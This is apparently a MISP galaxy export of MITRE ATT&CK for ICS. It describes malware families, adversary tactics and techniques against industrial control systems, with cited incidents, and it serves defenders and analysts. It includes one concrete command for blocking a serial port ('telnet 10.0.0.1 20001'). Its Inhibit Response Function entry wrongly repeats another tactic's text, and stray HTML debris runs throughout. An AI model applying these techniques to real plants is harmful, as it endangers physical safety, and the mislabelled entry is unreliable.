The supervisory control LAN level includes the functions involved in monitoring and controlling physical processes and the general deployment of systems such as human-machine interfaces (HMIs), engineering workstations and historians.

The tag is: misp-galaxy:mitre-ics-levels="Level 2"

Software
Software is a generic term for custom or commercial code, operating system utilities, open-source software, or other tools used to conduct behavior modeled in ATT&CK for ICS.

Software is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

BlackEnergy 3

BlackEnergy 3 is a malware toolkit that has been used by both criminal and APT actors. It support various plug-ins including a variant of KillDisk. It is known to have been used against the Ukrainian power grid.

The tag is: `misp-galaxy:mitre-ics-software="BlackEnergy 3"`
Conficker

Conficker is a computer worm that targets Microsoft Windows and was first detected in November 2008. It targets a vulnerability (MS08-067) in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet. Conficker made its way onto computers and removable disk drives in a nuclear power plant.

The tag is: misp-galaxy:mitre-ics-software="Conficker"

Duqu

Duqu is a collection of computer malware discovered in 2011. It is reportedly related to the Stuxnet worm, although Duqu is not self-replicating.

The tag is: misp-galaxy:mitre-ics-software="Duqu"

Flame

Flame is an attacker-instructed worm which may open a backdoor and steal information from a compromised computer. Flame has the capability to be used for industrial espionage.

The tag is: misp-galaxy:mitre-ics-software="Flame"
Industroyer

Industroyer is a sophisticated piece of malware designed to cause an Impact to the working processes of Industrial Control Systems (ICS), specifically ICSs used in electrical substations. Industroyer was alleged to be used in the attacks on the Ukrainian power grid in December 2016.

The tag is: misp-galaxy:mitre-ics-software="Industroyer"

</table>
NotPetya

NotPetya is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though NotPetya presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains self-propagating (“wormable”) features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.

The tag is: misp-galaxy:mitre-ics-software="NotPetya"

Tactics

A list of all 11 tactics in ATT&CK for ICS.

Tactics is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE
Collection

The adversary is trying to gather data of interest and domain knowledge on your ICS environment to inform their goal. Collection consists of techniques adversaries use to gather domain knowledge and obtain contextual feedback in an ICS environment. This tactic is often performed as part of Discovery, to compile data on control systems and targets of interest that may be used to follow through on the adversary’s objective. Examples of these techniques include observing operation states, capturing screenshots, identifying unique device roles, and gathering system and diagram schematics. Collection of this data can play a key role in planning, executing, and even revising an ICS-targeted attack. Methods of collection depend on the categories of data being targeted, which can include protocol specific, device specific, and process specific configurations and functionality. Information collected may pertain to a combination of system, supervisory, device, and network related data, which conceptually fall under high, medium, and low levels of plan operations. For example, information repositories on plant data at a high level or device specific programs at a low level. Sensitive floor plans, vendor device manuals, and other refs may also be at risk and exposed on the internet or otherwise publicly accessible.

</tbody>
</table>

Command and Control

The adversary is trying to communicate with and control compromised systems, controllers, and platforms with access to your ICS environment. Command and Control consists of techniques that adversaries use to communicate with and send commands to compromised systems, devices, controllers, and platforms with specialized applications used in ICS environments. Examples of these specialized communication devices include human machine interfaces (HMIs), data historians, SCADA servers, and engineering workstations (EWS). Adversaries often seek to use commonly available resources and mimic expected network traffic to avoid detection and suspicion. For instance, commonly used ports and protocols in ICS environments, and even expected IT resources, depending on the target network. Command and Control may be established to varying degrees of stealth, often depending on the victim’s network structure and defenses.

</tr>
</tbody>
</table>
**Discovery**

The adversary is trying to figure out your ICS environment. Discovery consists of techniques that adversaries use to survey your ICS environment and gain knowledge about the internal network, control system devices, and how their processes interact. These techniques help adversaries observe the environment and determine next steps for target selection and Lateral Movement. They also allow adversaries to explore what they can control and gain insight on interactions between various control system processes. Discovery techniques are often an act of progression into the environment which enable the adversary to orient themselves before deciding how to act. Adversaries may use Discovery techniques that result in Collection, to help determine how available resources benefit their current objective. A combination of native device communications and functions, and custom tools are often used toward this post-compromise information-gathering objective.

</tr>
</tbody>
</table>

**Evasion**

The adversary is trying to avoid being detected. Evasion consists of techniques that adversaries use to avoid detection by both human operators and technical defenses throughout their compromise. Techniques used for evasion include removal of indicators of compromise, spoofing communications and reporting, and exploiting software vulnerabilities. Adversaries may also leverage and abuse trusted devices and processes to hide their activity, possibly by masquerading as master devices or native software. Methods of defense and operator evasion for this purpose are often more passive in nature, as opposed to Inhibit Response Function techniques. They may also vary depending on whether the target of evasion is human or technological in nature, such as security controls. Techniques under other tactics are cross-listed to evasion when those techniques include the added benefit of subverting operators and defenses.

</tr>
</tbody>
</table>
Execution

The adversary is trying to run malicious code. Execution consists of techniques that result in adversary-controlled code running on a local or remote system, device, or other asset. This execution may also rely on unknowing end users or the manipulation of device operating modes to run. Adversaries may infect remote targets with programmed executables or malicious project files that operate according to specified behavior and may alter expected device behavior in subtle ways. Commands for execution may also be issued from command-line interfaces, APIs, GUIs, or other available interfaces. Techniques that run malicious code may also be paired with techniques from other tactics, particularly to aid network Discovery and Collection, impact operations, and inhibit response functions.

</tbody>
</table>

Impact

The adversary is trying to manipulate, interrupt, or destroy your ICS systems, data, and their surrounding environment. Impact consists of techniques that adversaries use to disrupt, compromise, destroy, and manipulate the integrity and availability of control system operations, processes, devices, and data. These techniques encompass the influence and effects resulting from adversarial efforts to attack the ICS environment or that tangentially impact it. Impact techniques can result in more instantaneous disruption to control processes and the operator, or may result in more long term damage or loss to the ICS environment and related operations. The adversary may
leverage Impair Process Control techniques, which often manifest in more self-revealing impacts on operations, or Inhibit Response Function techniques to hinder safeguards and alarms in order to follow through with and provide cover for Impact. In some scenarios, control system processes can appear to function as expected, but may have been altered to benefit the adversary's goal over the course of a longer duration. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach. Loss of Productivity and Revenue, Theft of Operational Information, and Damage to Property are meant to encompass some of the more granular goals of adversaries in targeted and untargeted attacks. These techniques in and of themselves are not necessarily detectable, but the associated adversary behavior can potentially be mitigated and/or detected.

The tag is: misp-galaxy:mitre-ics-tactics="Impact"

### Impair Process Control

The adversary is trying to manipulate, disable, or damage physical control processes. Impair Process Control consists of techniques that adversaries use to disrupt control logic and cause determinantal effects to processes being controlled in the target environment. Targets of interest may include active procedures or parameters that manipulate the physical environment. These techniques can also include prevention or manipulation of reporting elements and control logic. If an adversary has modified process functionality, then they may also obfuscate the results, which are often self-revealing in their impact on the outcome of a product or the environment. The direct physical control these techniques exert may also threaten the safety of operators and downstream users, which can prompt response mechanisms. Adversaries may follow up with or use Inhibit Response Function techniques in tandem, to assist with the successful abuse of control processes to
result in Impact.

Inhibit Response Function

The adversary is trying to manipulate, disable, or damage physical control processes. Impair Process Control consists of techniques that adversaries use to disrupt control logic and cause determinantal effects to processes being controlled in the target environment. Targets of interest may include active procedures or parameters that manipulate the physical environment. These techniques can also include prevention or manipulation of reporting elements and control logic. If an adversary has modified process functionality, they may also obfuscate the results, which are often self-revealing in their impact on the outcome of a product or the environment. The direct physical control these techniques exert may also threaten the safety of operators and downstream users, which can prompt response mechanisms. Adversaries may follow up with or use Inhibit Response Function techniques in tandem, to assist with the successful abuse of control processes to result in Impact.

The tag is: `misp-galaxy:mitre-ics-tactics="Inhibit Response Function"

Innitial Access

The adversary is trying to get into your ICS environment. Initial Access consists of techniques that adversaries may use as entry vectors to gain an initial foothold within an ICS environment. These techniques include compromising operational technology assets, IT resources in the OT network, and external remote services and websites. They may also target third party entities and users with privileged access. In particular, these initial access footholds may include devices and communication mechanisms with access to and privileges in both the IT and OT environments. IT resources in the OT environment are also potentially vulnerable to the same attacks as enterprise IT systems. Trusted third parties of concern may include vendors, maintenance personnel, engineers, external integrators, and other outside entities involved in expected ICS operations. Vendor maintained assets may include physical devices, software, and operational equipment. Initial access techniques may also leverage outside devices, such as radios, controllers, or removable media, to remotely interfere with and possibly infect OT operations.

authors

MITRE

Activate Firmware Update Mode

Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities.

The tag is: misp-galaxy:mitre-ics-techniques="Activate Firmware Update Mode"

Table 3299. Table References

Links
Alarm Suppression

Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. In the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. A Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to. The method of suppression may greatly depend on the type of alarm in question: An alarm raised by a protocol message. An alarm signaled with I/O. An alarm bit set in a flag and read In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.

Automated Collection

Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.

The tag is: *misp-galaxy:mitre-ics-techniques="Automated Collection"

Block Command Message

Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system
devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. In the 2015 attack on the Ukrainian power grid, malicious firmware was used to render communication devices inoperable and effectively prevent them from receiving remote command messages.

</tr>
</tbody>
</table>

**Block Reporting Message**

Adversaries may block or prevent a reporting message from reaching its intended target. Reporting messages relay the status of control system devices, which can include event log data and I/O values of the associated device. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked. In the 2015 attack on the Ukrainian power grid, malicious firmware was used to render communication devices inoperable and effectively block messages from being reported.

</tr>
</tbody>
</table>

**Block Serial COM**

Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to
facilitate multiple communications. For example, if there are three serial COM available — 1, 2 and 3 —, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001.

The tag is: misp-galaxy:mitre-ics-techniques="Block Serial COM"

</tr>
</tbody>
</table>

**Brute Force I/O**

Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt.

The tag is: misp-galaxy:mitre-ics-techniques="Brute Force I/O"

**Change Program State**

Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device.

The tag is: misp-galaxy:mitre-ics-techniques="Change Program State"

Table 3306. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Command-Line Interface**

Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute
commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. Many controllers have CLI interfaces for management purposes.

</tr>
</tbody>
</table>

Commonly Used Port

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples as follows TCP:80 (HTTP), TCP:443 (HTTPS), TCP/UDP:53 (DNS), TCP:1024-4999 (OPC on XP/Win2k3), TCP:49152-65535 (OPC on Vista and later), TCP:23 (TELNET), UDP:161 (SNMP), TCP:502 (MODBUS), TCP:102 (S7comm/ISO-TSAP), TCP:20000 (DNP3), TCP:44818 (Ethernet/IP)

</tr>
</tbody>
</table>

Connection Proxy

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths
between victims to avoid suspicion.

The tag is: `misp-galaxy:mitre-ics-techniques="Connection Proxy"`

### Damage to Property

Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community’s now blackened rivers. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops. Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside.

The tag is: `misp-galaxy:mitre-ics-techniques="Damage to Property"`

Data Destruction

Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. Data destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident. Standard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk.

Data Historian Compromise

Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment. Dragos has released an updated analysis on CrashOverride that outlines the attack from the ICS network breach to payload delivery and execution. The report summarized that CrashOverride represents a new application of malware, but relied on standard intrusion techniques. In particular, new artifacts include refs to a Microsoft Windows Server 2003 host, with a SQL Server. Within the ICS environment, such a database server can act as a data historian. Dragos noted a device with this role should be expected
to have extensive connections within the ICS environment. Adversary activity leveraged database capabilities to perform reconnaissance, including directory queries and network connectivity checks.

The tag is: misp-galaxy:mitre-ics-techniques="Data Historian Compromise"

Table 3312. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Data from Information Repositories**

Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of target information repositories include reference databases and local machines on the process environment.

The tag is: misp-galaxy:mitre-ics-techniques="Data from Information Repositories"

Table 3313. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Default Credentials**

Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled.

</tr>
</tbody>
</table>

**Denial of Control**

Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause
a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls.

<td><a href="https://books.google.com/books?id=oXIYBAAAQBAJ&amp;pg=PA249&amp;lpg=PA249&amp;dq=loss+denial+manipulation+of+view&amp;source=bl&amp;ots=dV1uQ8IUff&amp;sig=ACfU3U2N1wGjhg051D_Ytw6npyEk9xcf4w&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTAaDnQQ6AEwAHoECAgQAQ#v=onepage&amp;q=loss%20denial%20manipulation%20of%20view&amp;f=false">https://books.google.com/books?id=oXIYBAAAQBAJ&amp;pg=PA249&amp;lpg=PA249&amp;dq=loss+denial+manipulation+of+view&amp;source=bl&amp;ots=dV1uQ8IUff&amp;sig=ACfU3U2N1wGjhg051D_Ytw6npyEk9xcf4w&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTAaDnQQ6AEwAHoECAgQAQ#v=onepage&amp;q=loss%20denial%20manipulation%20of%20view&amp;f=false</a></td>
</tr>
</tbody>
</table>

**Denial of Service**

Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. Some ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. Adversaries may exploit a software vulnerability to cause a denial of service by taking advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a or denial of service condition. Adversaries may have prior knowledge about industrial protocols or control devices used in the environment through Control Device Identification. There are examples of adversaries remotely causing a Device Restart/Shutdown by exploiting a vulnerability that induces uncontrolled resource consumption. In the Maroochy attack, the adversary was able to shut an investigator out of the network.

</table>
Denial of View

Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system.

The tag is: *misp-galaxy:mitre-ics-techniques="Denial of View"

Detect Operating Mode

Adversaries may gather information about the current operating state of a PLC. CPU operating modes are often controlled by a key switch on the PLC. Example states may be run, prog, stop, remote, and invalid. Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC.

The tag is: *misp-galaxy:mitre-ics-techniques="Detect Operating Mode"

</tbody>
</table>
Detect Program State

Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program.

</tr>
</tbody>
</table>

Device Restart/Shutdown

Adversaries may forcibly restart or shutdown a device in the ICS environment to disrupt and potentially cause adverse effects on the physical processes it helps to control. Methods of device restart and shutdown exist as built-in, standard functionalities. This can include interactive device web interfaces, CLIs, and network protocol commands, among others. Device restart or shutdown may also occur as a consequence of changing a device into an alternative mode of operation for testing or firmware loading. Unexpected restart or shutdown of control system devices may contribute to impact, by preventing expected response functions from activating and being received in critical states. This can also be a sign of malicious device modification, as many updates require a shutdown in order to take affect. For example, DNP3’s function code 0xD can reset and reconfigure DNP3 outstations by forcing them to perform a complete power cycle. In the 2015 attack on the Ukrainian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries scheduled disconnects for the uninterruptable power supply (UPS) systems so that when power was disconnected from the substations, the devices would shut down and service could not be recovered.

The tag is: misp-galaxy:mitre-ics-techniques="Device Restart/Shutdown"

</tr>
</tbody>
</table>

Drive-by Compromise

Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session. With this technique, the user’s web browser is targeted and exploited simply by visiting the compromised website. The adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which
often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. The National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites.

**Engineering Workstation Compromise**

Adversaries may compromise and gain control of an engineering workstation as an Initial Access technique into the control system environment. Access to an engineering workstation may occur as a result of remote access or by physical means, such as a person with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to and control of other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system.

Exploit Public-Facing Application

Adversaries may attempt to exploit public-facing applications to leverage weaknesses on Internet-facing computer systems, programs, or assets in order to cause unintended or unexpected behavior. These public-facing applications may include user interfaces, software, data, or commands. In particular, a public-facing application in the IT environment may provide adversaries an interface into the OT environment. ICS-CERT analysis has identified the probable initial infection vector for systems running GE’s Cimplicity HMI with a direct connection to the Internet.

</tr>
</tbody>
</table>

Exploitation for Evasion

Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. Adversaries may have prior knowledge through Control Device Identification about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware.

</table>
Exploitation of Remote Services

Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (“wormable”) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts.

</tr>
</tbody>
</table>

External Remote Services

Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point-to-point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled. In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio. The 2015 attack on the Ukranian power grid showed the use of existing remote access tools within the environment to access the control system network. The adversary harvested worker credentials, some of them for
VPNs the grid workers used to remotely log into the control system networks. The VPNs into these networks appear to have lacked two-factor authentication.

The tag is: **misp-galaxy:mitre-ics-techniques="External Remote Services"**

### Graphical User Interface

Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the 2015 attack on the Ukrainian power grid, the adversary utilized the GUI of HMIs in the SCADA environment to open breakers.

The tag is: **misp-galaxy:mitre-ics-techniques="Graphical User Interface"**
Hooking

Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process's IAT, where pointers to imported API functions are stored.

</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

I/O Module Discovery

Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes.

Internet Accessible Device

Adversaries may gain access into industrial environments directly through systems exposed to the internet for remote access rather than through External Remote Services. Minimal protections provided by these devices such as password authentication may be targeted and compromised. In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.

The tag is: misp-galaxy:mitre-ics-techniques="Internet Accessible Device"

Location Identification

Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries1. While this assists in logging and event tracking, an adversary could use the underlying positioning...
mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration. An adversary attempt to attack and cause Impact could potentially affect other control system devices in close proximity. Device local-time and time-zone settings can also provide adversaries a rough indicator of device location, when specific geographic identifiers cannot be determined from the system.

The tag is: *misp-galaxy:mitre-ics-techniques*="Location Identification"

### Loss of Availability

Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases.

The tag is: *misp-galaxy:mitre-ics-techniques*="Loss of Availability"

### Loss of Control

Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.

The tag is: *misp-galaxy:mitre-ics-techniques*="Loss of Control"
Loss of Productivity and Revenue

Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety.

The tag is: *misp-galaxy:mitre-ics-techniques="Loss of Productivity and Revenue"

Table 3337. Table References

Loss of Safety

Adversaries may cause loss of safety whether on purpose or as a consequence of actions taken to accomplish an operation. The loss of safety can describe a physical impact and threat, or the potential for unsafe conditions and activity in terms of control systems environments, devices, or processes. For instance, an adversary may issue commands or influence and possibly inhibit safety mechanisms that allow the injury of and possible loss of life. This can also encompass scenarios resulting in the failure of a safety mechanism or control, that may lead to unsafe and dangerous execution and outcomes of physical processes and related systems. The German Federal Office for
Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops. The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.

The tag is: `misp-galaxy:mitre-ics-techniques="Loss of Safety"`

### Loss of View

Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves.

The tag is: `misp-galaxy:mitre-ics-techniques="Loss of View"`

1455
Man in the Middle

Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. A MITM attack may allow an adversary to perform the following attacks: Block Reporting Message, Modify Parameter, Unauthorized Command Message, Spoof Reporting Message

</tbody>
</table>

Manipulate I/O Image

